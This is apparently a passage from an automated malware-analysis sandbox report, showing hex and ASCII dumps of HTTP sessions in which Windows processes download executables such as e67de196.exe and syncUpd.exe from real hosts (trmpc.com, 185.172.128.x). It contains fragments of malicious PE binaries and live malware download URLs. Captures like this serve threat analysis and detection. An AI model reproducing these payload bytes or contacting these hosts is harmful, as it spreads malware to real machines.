00 00 08 00 00 00 00 00 00 ae 00 8b 00 00 20 00 00 00 20 8b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 8b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 60 00 8b 00 4b 00 00 00 00 20 8b 00 40 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 8b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 e0 8a 00 00 20 00 00 00 e2 8a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 05 00 00 00 20 8b 00 00 06 00 00 00 e4 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 8b 00 00 02 00 00 00 ea 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00 8b 00 00 00 00 00 48 00 00 00 02 00 05 00 90 ea 8a 00 d0 15 00 00 03 00 00 00 01 00 00 06 d8 27 00 00 b8 c2 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 5f 01 00 00 01 00 00 11 7e 03 00 00 04 2c 0d 28 11 00 00 06 2c 06 16 28 0d 00 00 0a 7e 04 00 00 04 2c 0d 28 13 00 00 06 2c 06 16 28 0d 00 00 0a 7e 05 00 00 04 2c 0d 28 15 00 00 06 2c 06 16 28 0d 00 00 0a 7e 06 00 00 04 2c 0d 28 16 00 00 06 2c 06 16 28 0d 00 00 0a 7e 01 00 00 04 2c 10 7e 02 00 00 04 20 e8 03 00 00 5a 28 0e 00 00 0a 7e 07 00 00 04 2c 11 72 01 00 00 70 72 01 00 00 70 16 28 09 00 00 06 26 16 0a 38 c2 00 00 00 7e 0c 00 00 04 06 6f 0f 00 00 0a 0b 7e 0d 00 00 04 06 6f 0f 00 00 0a 0c 7e 0e 00 00 04 06 6f 0f 00 00 0a 0d 7e 0f 00 00 04 06 6f 0f 00 00 0a 13 04 07 28 08 00 00 06 13 05 7e 0a 00 00 04 2c 09 11 05 28 02 00 00 06 13 05 7e 09 00 00 04 72 03 00 00 70 28 10 00 00 0a 2c 1a 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 11 05 28 04 00 00 06 13 05 2b 29 7e 09 00 00 04 72 31 00 00 70 28 10 00 00 0a 2c 18 11 05 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 28 03 00 00 06 13 05 11 04 07 08 28 13 00 00 0a 28 14 00 00 0a 13 06 11 05 11 06 28 0d 00 00 06 11 06 09 28 0f 00 00 06 06 17 58 0a 06 7e 0c 00 00 04 6f 15 00 00 0a 3f 2e ff ff ff 7e 08 00 00 04 26 2a 00 1b 30 02 00 2f 00 00 00 02 00 00 11 02 73 16 00 00 0a 0a 73 17 00 00 0a 0b 06 16 73 18 00 00 0a 0c 08 07 6f 19 00 00 0a de 0a 08 2c 06 08 6f 1a 00 00 0a dc 07 6f 1b 00 00 0a 2a 00 01 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELe @ `@`K @@ H.text `.rsrc@ @@.reloc@@BH'0_~,(,(~,(,(~,(,(~,(,(~,~ Z(~,rprp(&8~o~o~o~o(~,(~rp(,(rpo(+)~r1p(,(rpo(((((X~o?.~&0/ssso,oo
Feb 5, 2024 10:57:33.665990114 CET	1286	IN	Data Raw: 10 00 00 02 00 15 00 09 1e 00 0a 00 00 00 00 13 30 06 00 28 00 00 00 03 00 00 11 02 8e 69 8d 1a 00 00 01 0a 16 0b 2b 13 06 07 02 07 91 03 07 03 8e 69 5d 91 61 d2 9c 07 17 58 0b 07 02 8e 69 32 e7 06 2a 36 02 03 28 06 00 00 06 28 01 00 00 2b 2a 0e Data Ascii: 0(i+i]aXi26((+0c (~-s~(+(++ i]XX _(X 2(!*0w{X _}{
Feb 5, 2024 10:57:33.666007042 CET	1286	IN	Data Raw: dc 16 2a 11 04 2a 00 00 00 01 28 00 00 02 00 1a 00 8a a4 00 0c 00 00 00 00 02 00 12 00 a0 b2 00 0a 00 00 00 00 02 00 0b 00 b3 be 00 0a 00 00 00 00 13 30 01 00 18 00 00 00 0c 00 00 11 72 49 02 00 70 28 12 00 00 06 0a 12 00 28 49 00 00 0a 2c 02 17 Data Ascii: (0rIp((I,0(JoK(&06(L(M((L(MYj/&//(!lSystem.Re
Feb 5, 2024 10:57:33.666024923 CET	1286	IN	Data Raw: 00 73 00 74 00 32 00 32 00 33 00 72 00 32 00 71 00 66 00 6e 00 78 00 73 00 74 00 32 00 32 00 33 00 72 00 32 00 71 00 66 00 6e 00 78 00 73 00 74 00 32 00 32 00 33 00 72 00 32 00 71 00 66 00 6e 00 78 00 73 00 74 00 32 00 32 00 33 00 72 00 32 00 71 Data Ascii: st223r2qfnxst223r2qfnxst223r2qfnxst223r2qfnxst223r2qfnxst223r2qfnxst223r2qfnxst223r2qfnxst223r2qfnxst223r2qfnxst223r2qfnx
Feb 5, 2024 10:57:33.666042089 CET	1286	IN	Data Raw: 4b 07 ce 01 ff 8e 15 2a 70 ee 00 fb ff 11 75 67 89 47 f8 b3 45 cb 00 72 00 32 8b 34 f8 67 05 a2 d5 f9 00 34 81 8b db 46 06 32 7c ea 6a 09 5f b3 3d 05 d6 e7 00 e8 00 78 00 06 1f 1c e0 83 80 32 68 db b1 f2 00 cd 15 29 70 e6 00 e3 85 90 fb 8c ff 24 Data Ascii: K*pugGEr24g4F2\|j_=x2h)p$Vd'CrOGmt_l[ffna2PVr2(5V]=22d2qji^t\,\P(\bQ\UDX\|;tX6fX6.3XjsX
Feb 5, 2024 10:57:33.666060925 CET	1286	IN	Data Raw: f6 0c 27 84 c2 74 00 cd 00 46 12 c4 c2 72 00 32 ff 05 02 8d c7 e7 17 f3 44 57 08 2b c3 54 89 25 8b 77 24 7a c6 75 02 71 5f a5 66 e7 17 f3 44 57 08 2b c3 ba 17 b9 44 17 08 2d c3 fe cc bd cc aa cc a2 cc c2 9a a3 80 74 e9 15 12 32 00 89 ba a2 80 32 Data Ascii: 'tFr2DW+T%w$zuq_fDW+D-t2223qg]e`2UPs237aoV*2Yd2tnjxs-73}qUf
Feb 5, 2024 10:57:33.666078091 CET	1286	IN	Data Raw: e2 b2 00 9a b1 15 00 71 a3 42 1f ef 00 90 f9 55 00 74 85 f2 7d 3a 6a 3b e8 0c 0e 32 00 28 e8 df 24 6e 00 fd c0 0e 08 1e 09 da 6d 3c 00 33 59 21 e8 17 0f 71 00 3f 3b a8 74 7f 50 9b 5b 7a 00 32 59 da 50 17 00 72 84 6f c4 05 06 69 b7 23 c8 93 03 19 Data Ascii: qBUt}:j;2($nm<3Y!q?;tP[z2YProi#-QbVZ3@r2E9$2b25E{}bQP2Y(e=EO2u5P"qnEwAre+22/r1fyQx2}@2]!
Feb 5, 2024 10:57:33.666095018 CET	1286	IN	Data Raw: 81 8c 00 7b 00 73 83 be 7f 54 89 66 24 35 d9 1e 24 34 c3 d8 00 66 08 6e 74 7e b8 74 00 74 00 f1 dc 37 d0 49 80 72 b8 33 00 71 00 a5 8b 2c 04 5d 00 73 f0 0b 3d 32 00 c2 7f 47 03 af 02 f1 8b 33 04 e5 ec 64 0d 78 00 8c 7f fd 44 16 06 b9 42 37 8b 78 Data Ascii: {sTf$5$4fnt~tt7Ir3q,]s=2G3dxDB7xzD\P$9r2BbD\VtM=25$nD$,ZffLdtpfStaT qfx),Z5$b]s&Vv$uKxtI=2G_6$=
Feb 5, 2024 10:57:33.666112900 CET	1286	IN	Data Raw: 3d 32 00 ee 5d 8a dd 77 08 28 dc 3b f8 37 df 98 f6 b7 44 0e 0e 64 53 da f0 0d 00 72 dd 77 f8 28 59 8d 22 98 c3 58 75 9e dd 31 f8 61 83 de 10 ee 5c 56 08 ef 45 79 dd 7a 24 04 0c 12 10 9b 87 48 00 32 83 f6 1c 6d 5b bb c3 fe cc bd cc aa cc a2 cc be Data Ascii: =2]w(;7DdSrw(Y"Xu1a\VEyz$H2m[3xF{fn=raAGdmr2t=s239t8F3rr2-3UtS@3n1@n:
Feb 5, 2024 10:57:33.666130066 CET	1286	IN	Data Raw: e8 f9 3d 6e 00 21 c3 f8 ff 21 8b de 56 b9 f0 d8 0b f9 06 b7 c0 05 02 99 d0 ed c6 7c 3b 06 08 06 f0 6c 5d f1 8b cc 55 f9 ec 64 8b 04 08 55 c0 85 0f fd c0 06 10 ff 0e b7 c9 46 02 cc d1 f1 c6 36 3b 04 0c 14 ec 30 5d bb 8b 8c 55 ff ec b1 3d f2 7a b3 Data Ascii: =n!!V\|;l]UdUF6;0]U=zrt+hz2sYFu;gHqY#AxhqZhC3(YB;@t;J2`2u$qcp3+t)h2sYFXY]%2 rX[nYeGq9/h,rq
Feb 5, 2024 10:57:33.869580030 CET	1286	IN	Data Raw: 0b 46 05 b1 fb 37 75 63 8b 77 d4 f8 47 06 83 95 08 0d 06 f8 45 a4 89 75 64 01 c0 db 92 6e 00 32 c3 fa ff 33 8b 82 51 29 53 f8 5d 7c 56 65 33 c4 33 cc 89 0f fc 09 1c 8c 10 b7 80 6e 74 71 47 fa 7d 88 83 cd 17 40 ee b0 ff 65 0f b1 77 70 00 66 6a 6d Data Ascii: F7ucwGEudn23Q)S]\|Ve33ntqG}@ewpfjm)Ms-=rX@+nY=23qnxAu2h1qSqxW82dV'V0x`h62m2V saB2uThlxVb82!P6P>s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49756	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:57:44.758095980 CET	162	OUT	GET /check/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: trmpc.com
Feb 5, 2024 10:57:45.595627069 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Mon, 05 Feb 2024 09:57:45 GMT Content-Type: application/octet-stream Connection: close Content-Description: File Transfer Content-Disposition: attachment; filename=e67de196.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ca 07 84 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 5a 02 00 00 18 03 00 00 00 00 00 4f 22 00 00 00 10 00 00 00 70 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 05 00 00 04 00 00 91 69 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec c2 02 00 50 00 00 00 00 d0 03 00 78 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 71 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 bb 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 02 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 59 02 00 00 10 00 00 00 5a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 5c 00 00 00 70 02 00 00 5e 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 f6 00 00 00 d0 02 00 00 30 00 00 00 bc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 a4 01 00 00 d0 03 00 00 a6 01 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELdZO"p@iPxqx@p.textVYZ `.rdata$\p^^@@.datat0@.rsrcx@@
Feb 5, 2024 10:57:45.595643997 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 6c 58 6a 6d 66 a3 7a aa 43 00 58 6a 67 66 a3 6e aa 43 00 Data Ascii: jlXjmfzCXjgfnCXjdfpCXjlfxC3f~CXj.f\|CXj2fvCXjmftCXjifhCXj3flCXjsfrCXhhCfjC0pB4UDESVp3=dCWMuSPS@pB
Feb 5, 2024 10:57:45.595660925 CET	228	IN	Data Raw: 00 5f 5e c9 c3 55 8b ec 83 e4 f8 64 a1 00 00 00 00 6a ff 68 31 69 42 00 50 64 89 25 00 00 00 00 83 ec 70 53 56 57 c7 44 24 1c aa d5 40 74 c7 44 24 34 90 36 1d 57 c7 44 24 18 31 33 4d 7a c7 44 24 54 90 45 dc 27 c7 44 24 30 39 bd 3e 49 c7 44 24 4c Data Ascii: _^Udjh1iBPd%pSVWD$@tD$46WD$13MzD$TE'D$09>ID$L8=7D$$98D$(B0D$ D$H\1D$,h2;D$D\D$<-LD$@+oD$8D$a*xD$PXPD$aMD$hu0i[d$D$2i<d$4D$4D$TD$
Feb 5, 2024 10:57:45.595766068 CET	1286	IN	Data Raw: c2 1d 0f 78 b8 c7 3a 8a 65 f7 64 24 1c 8b 44 24 1c 81 6c 24 1c dc a9 f0 3c 81 44 24 34 ed 84 3a 66 81 44 24 34 50 0a ad 76 81 6c 24 4c b3 62 2a 46 81 6c 24 1c 11 04 92 07 81 44 24 1c 44 a2 05 0b 81 6c 24 24 7f a7 59 6d b8 76 bf 4f 79 f7 64 24 28 Data Ascii: x:ed$D$l$<D$4:fD$4Pvl$LbFl$D$Dl$$YmvOyd$(D$(D$0l$(l$0eEl$TYz6Md$4D$4l$Tn.D$$[ u4d$LD$LD$<l$43D$4<2nTpd$D$D$,!;^D$PrD$HG~l$0\%Kl$@!D$
Feb 5, 2024 10:57:45.595803976 CET	1286	IN	Data Raw: c2 c1 06 3d ff 03 00 00 7c 25 3d 32 04 00 00 7f b0 66 0f 54 05 00 72 42 00 f2 0f 58 c8 66 0f d6 4c 24 04 dd 44 24 04 c3 dd 05 40 72 42 00 c3 66 0f c2 1d 20 72 42 00 06 66 0f 54 1d 00 72 42 00 66 0f d6 5c 24 04 dd 44 24 04 c3 cc cc cc 57 8b 7c 24 Data Ascii: =\|%=2fTrBXfL$D$@rBf rBfTrBf\$D$W\|$n$L$Wtt=u~3tAt#tttyyyyL$ttfu~
Feb 5, 2024 10:57:45.595815897 CET	228	IN	Data Raw: 75 55 e9 49 35 00 00 90 83 3d 68 c6 43 00 00 74 32 83 ec 08 0f ae 5c 24 04 8b 44 24 04 25 80 1f 00 00 3d 80 1f 00 00 75 0f d9 3c 24 66 8b 04 24 66 83 e0 7f 66 83 f8 7f 8d 64 24 08 75 05 e9 f5 34 00 00 83 ec 0c dd 14 24 e8 02 17 00 00 e8 0d 00 00 Data Ascii: uUI5=hCt2\$D$%=u<$f$ffd$u4$T$R<$tPf<$t-{Bz=B0B-{Bz?u\|$u-B=B
Feb 5, 2024 10:57:45.595909119 CET	1286	IN	Data Raw: 8d 0d 30 d0 42 00 e8 80 17 00 00 5a c3 8b ff 55 8b ec 83 3d ac fe 42 00 01 75 05 e8 3b 2b 00 00 ff 75 08 e8 88 29 00 00 68 ff 00 00 00 e8 30 24 00 00 59 59 5d c3 6a 58 68 70 bd 42 00 e8 1a 21 00 00 33 f6 89 75 fc 8d 45 98 50 ff 15 a4 70 42 00 6a Data Ascii: 0BZU=Bu;+u)h0$YY]jXhpB!3uEPpBj_}MZf9@u8<@@PEu'f9@ut@v39@Mu3CSBYujXYBAujGY<]y:}j/#Yb:pC:B
Feb 5, 2024 10:57:45.595921993 CET	1286	IN	Data Raw: f8 fe 74 16 8b c8 83 e1 1f 8b f0 c1 fe 05 c1 e1 06 03 0c b5 40 b5 43 00 eb 02 8b ca f6 41 24 7f 75 91 83 f8 ff 74 19 83 f8 fe 74 14 8b c8 83 e0 1f c1 f9 05 c1 e0 06 03 04 8d 40 b5 43 00 eb 02 8b c2 f6 40 24 80 0f 85 67 ff ff ff 33 c9 3b d9 0f 84 Data Ascii: t@CA$utt@C@$g3;]C, <Xw@rB333`rBjY;$b0@
Feb 5, 2024 10:57:45.595932007 CET	228	IN	Data Raw: 00 89 85 e4 fd ff ff 50 e8 cb 4f 00 00 59 e9 ce 03 00 00 83 f8 70 0f 8f fb 01 00 00 0f 84 e3 01 00 00 83 f8 65 0f 8c bc 03 00 00 83 f8 67 0f 8e 34 fe ff ff 83 f8 69 74 71 83 f8 6e 74 28 83 f8 6f 0f 85 a0 03 00 00 f6 85 f0 fd ff ff 80 c7 85 e0 fd Data Ascii: POYpeg4itqnt(otaU7/ tff@Wugue
Feb 5, 2024 10:57:45.595943928 CET	1286	IN	Data Raw: fd ff ff 01 00 00 00 eb 59 39 85 e8 fd ff ff 7e 06 89 85 e8 fd ff ff 81 bd e8 fd ff ff a3 00 00 00 7e 3f 8b b5 e8 fd ff ff 81 c6 5d 01 00 00 56 e8 e0 4d 00 00 8a 95 ef fd ff ff 59 89 85 bc fd ff ff 85 c0 74 10 89 85 e4 fd ff ff 89 b5 a0 fd ff ff Data Ascii: Y9~~?]VMYt3GPPSP5`B2Yt 9uPS5lB2YYYgu;u
Feb 5, 2024 10:57:45.595956087 CET	1286	IN	Data Raw: ff 55 8b ec 81 ec 28 03 00 00 a1 00 d5 42 00 33 c5 89 45 fc 83 a5 d8 fc ff ff 00 53 6a 4c 8d 85 dc fc ff ff 6a 00 50 e8 02 17 00 00 8d 85 d8 fc ff ff 89 85 28 fd ff ff 8d 85 30 fd ff ff 83 c4 0c 89 85 2c fd ff ff 89 85 e0 fd ff ff 89 8d dc fd ff Data Ascii: U(B3ESjLjP(0,ffffffEM0IpBjpB(P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49761	185.172.128.90	80	2896	C:\Users\user\AppData\Local\Temp\InstallSetup4.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:57:51.065537930 CET	152	OUT	GET /cpa/ping.php?substr=four&s=ab HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 185.172.128.90 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:57:51.897820950 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:57:51 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49763	185.172.128.127	80	2896	C:\Users\user\AppData\Local\Temp\InstallSetup4.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:57:52.171560049 CET	135	OUT	GET /syncUpd.exe HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 185.172.128.127 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:57:52.375049114 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:57:52 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Feb 2024 09:45:01 GMT ETag: "4ba00-6109f50ce5b1e" Accept-Ranges: bytes Content-Length: 309760 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 23 eb e5 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 82 02 00 00 18 03 00 00 00 00 00 4f 22 00 00 00 10 00 00 00 a0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 24 00 00 04 00 00 3f 3a 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec f2 02 00 50 00 00 00 00 00 04 00 78 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 a1 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 eb 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a6 81 02 00 00 10 00 00 00 82 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 5c 00 00 00 a0 02 00 00 5e 00 00 00 86 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 f6 00 00 00 00 03 00 00 30 00 00 00 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 64 20 00 00 00 04 00 00 a6 01 00 00 14 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL#cO"@p$?:Pxx@.text `.rdata$\^@@.datat0@.rsrcxd @@
Feb 5, 2024 10:57:52.375088930 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 6c 58 6a 6d 66 a3 7a da 43 00 58 6a 67 66 a3 6e da 43 00 58 6a 64 66 a3 70 da 43 00 58 6a 6c 66 a3 78 da Data Ascii: jlXjmfzCXjgfnCXjdfpCXjlfxC3f~CXj.f\|CXj2fvCXjmftCXjifhCXj3flCXjsfrCXhhCfjC0B4UDESVp3=dCWMuSPS@BCECE
Feb 5, 2024 10:57:52.375363111 CET	1286	IN	Data Raw: 00 6a ff 68 81 91 42 00 50 64 89 25 00 00 00 00 83 ec 70 53 56 57 c7 44 24 1c aa d5 40 74 c7 44 24 34 90 36 1d 57 c7 44 24 18 31 33 4d 7a c7 44 24 54 90 45 dc 27 c7 44 24 30 39 bd 3e 49 c7 44 24 4c 38 3d 95 37 c7 44 24 24 39 bd a4 38 c7 44 24 28 Data Ascii: jhBPd%pSVWD$@tD$46WD$13MzD$TE'D$09>ID$L8=7D$$98D$(B0D$ D$H\1D$,h2;D$D\D$<-LD$@+oD$8D$a*xD$PXPD$aMD$hu0i[d$D$2i<d$4D$4D$TD$x:ed$D$l$<D$4
Feb 5, 2024 10:57:52.375405073 CET	1286	IN	Data Raw: cc cc 83 3d 68 f6 43 00 00 0f 84 26 21 00 00 83 ec 08 0f ae 5c 24 04 8b 44 24 04 25 80 1f 00 00 3d 80 1f 00 00 75 0f d9 3c 24 66 8b 04 24 66 83 e0 7f 66 83 f8 7f 8d 64 24 08 0f 85 f5 20 00 00 eb 00 f3 0f 7e 44 24 04 66 0f 28 15 10 a2 42 00 66 0f Data Ascii: =hC&!\$D$%=u<$f$ffd$ ~D$f(Bf(f(fs4f~fT0BfftL=\|}f=2fL$D$f.{$T$T$T$$D$~D$ff(f=\|%=2fTBXf
Feb 5, 2024 10:57:52.375459909 CET	1286	IN	Data Raw: 02 74 06 d9 2d 88 ab 42 00 d9 e8 d9 f3 83 3d b4 2e 43 00 00 0f 85 20 18 00 00 ba 0f 00 00 00 8d 0d 20 00 43 00 e9 1d 18 00 00 e8 99 17 00 00 eb 26 a9 ff ff 0f 00 75 f2 83 7c 24 08 00 75 eb dd d8 db 2d ca 01 43 00 a9 00 00 00 80 74 bf d9 e0 eb bb Data Ascii: t-B=.C C&u\|$u-Ct=.C CZUjjuY5]UE}]=hC\$D$%=u<$f$ffd$uUI5=hCt2\$D$%
